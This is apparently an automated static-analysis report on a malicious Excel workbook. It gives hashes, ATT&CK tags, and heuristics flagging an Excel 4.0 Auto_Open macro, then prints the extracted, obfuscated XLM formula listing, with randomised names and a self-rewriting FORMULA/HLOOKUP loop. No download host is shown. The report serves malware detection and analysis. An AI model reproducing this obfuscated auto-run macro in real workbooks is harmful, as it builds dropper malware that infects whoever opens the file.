Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f056ffe7f40624f9…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-25 10:33:25 Authoring application: Microsoft Excel First seen: 2026-06-05
MD5: 781c1e0752df957fcf51a6cba476e5ca SHA-1: 39bcb067bb0022d7bd5fd2c6453c80682af729fd SHA-256: f056ffe7f40624f9be9bd21faf5ecd70c99e4a3d608c3a95a0e3204a7794c070
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The critical heuristics indicate the presence of Excel 4.0 macros with an Auto_Open entry, which is a common technique for executing malicious code upon opening the document. The `RUN` function API call within the macro suggests it is designed to execute a payload. While no specific URLs or hashes were extracted, the presence of Auto_Open strongly implies a downloader or dropper functionality.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6452 bytes
SHA-256: 23689a604a128051b22e0b3b080a78a3a47449b36f57151cf34af1ba310f9e78
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     13 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  Rdov
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!C140 
' 0018     25 LABEL : Cell Value, String Constant - DOnXthmEwJ len=0 
' 0018     25 LABEL : Cell Value, String Constant - FqkFauDTmt len=0 
' 0018     21 LABEL : Cell Value, String Constant - fzwGno len=0 
' 0018     24 LABEL : Cell Value, String Constant - HAupgESkj len=0 
' 0018     22 LABEL : Cell Value, String Constant - JcvuqFs len=0 
' 0018     25 LABEL : Cell Value, String Constant - JvMqPzrAWc len=0 
' 0018     22 LABEL : Cell Value, String Constant - koNcvTV len=0 
' 0018     23 LABEL : Cell Value, String Constant - moIJNWyx len=0 
' 0018     26 LABEL : Cell Value, String Constant - OFPiTeoPzcP len=0 
' 0018     25 LABEL : Cell Value, String Constant - oMRdWZqoym len=0 
' 0018     24 LABEL : Cell Value, String Constant - OoXyFnOSt len=0 
' 0018     25 LABEL : Cell Value, String Constant - PJCMECIipq len=0 
' 0018     24 LABEL : Cell Value, String Constant - QikfOteCN len=0 
' 0018     20 LABEL : Cell Value, String Constant - QZDcl len=0 
' 0018     24 LABEL : Cell Value, String Constant - SKeXfhskf len=0 
' 0018     22 LABEL : Cell Value, String Constant - SsaSNPn len=0 
' 0018     25 LABEL : Cell Value, String Constant - uiQsdWmiBi len=0 
' 0018     24 LABEL : Cell Value, String Constant - uwiexcXVY len=0 
' 0018     22 LABEL : Cell Value, String Constant - zQEcjzN len=0 
' 0018     23 LABEL : Cell Value, String Constant - zwjUpycY len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  Rdov,C47,"SET.NAME("QZDcl",VALUE("0"))",""
'  Rdov,C52,"SET.NAME("SsaSNPn",QZDcl)",""
'  Rdov,C54,"SET.NAME("zwjUpycY",QZDcl)",""
'  Rdov,C59,"SET.NAME("moIJNWyx",COUNTA(OFPiTeoPzcP))",""
'  Rdov,C61,"SET.NAME("QikfOteCN",COUNTA(koNcvTV))",""
'  Rdov,C65,[],""
'  Rdov,C70,"SET.NAME("SKeXfhskf","")",""
'  Rdov,C72,"SsaSNPn",""
'  Rdov,C77,"SET.NAME("zQEcjzN",HLOOKUP("*",OFPiTeoPzcP,SsaSNPn,FALSE))",""
'  Rdov,C82,"JvMqPzrAWc",""
'  Rdov,C85,"SET.NAME("DOnXthmEwJ",QZDcl)",""
'  Rdov,C89,[],""
'  Rdov,C93,"DOnXthmEwJ",""
'  Rdov,C97,"FqkFauDTmt",""
'  Rdov,C100,"HAupgESkj",""
'  Rdov,C103,"fzwGno",""
'  Rdov,C107,"SET.NAME("uiQsdWmiBi",VALUE(HLOOKUP("*",koNcvTV,fzwGno,FALSE)))",""
'  Rdov,C110,"PJCMECIipq",""
'  Rdov,C112,"SKeXfhskf",""
'  Rdov,C116,"zwjUpycY",""
'  Rdov,C120,NEXT(),""
'  Rdov,C125,"oMRdWZqoym",""
'  Rdov,C129,"SET.NAME("f",INT(T(FORMULA(T(SKeXfhskf)&"",""&T(oMRdWZqoym)))))",""
'  Rdov,C132,"uwiexcXVY",""
'  Rdov,C135,NEXT(),""
'  Rdov,C138,RETURN(),""
'  Rdov,C169,"SET.NAME("OoXyFnOSt",C47)",""
'  Rdov,C171,"OFPiTeoPzcP",""
'  Rdov,C176,"SET.NAME("koNcvTV",R43C15)",""
'  Rdov,C179,"SET.NAME("uwiexcXVY",187)",""
'  Rdov,C184,"SET.NAME("JcvuqFs",3)",""
'  Rdov,C186,OoXyFnOSt(),""
'  Rdov,C187,HALT(),""

Open this report in the interactive analyzer, or submit your own file for analysis.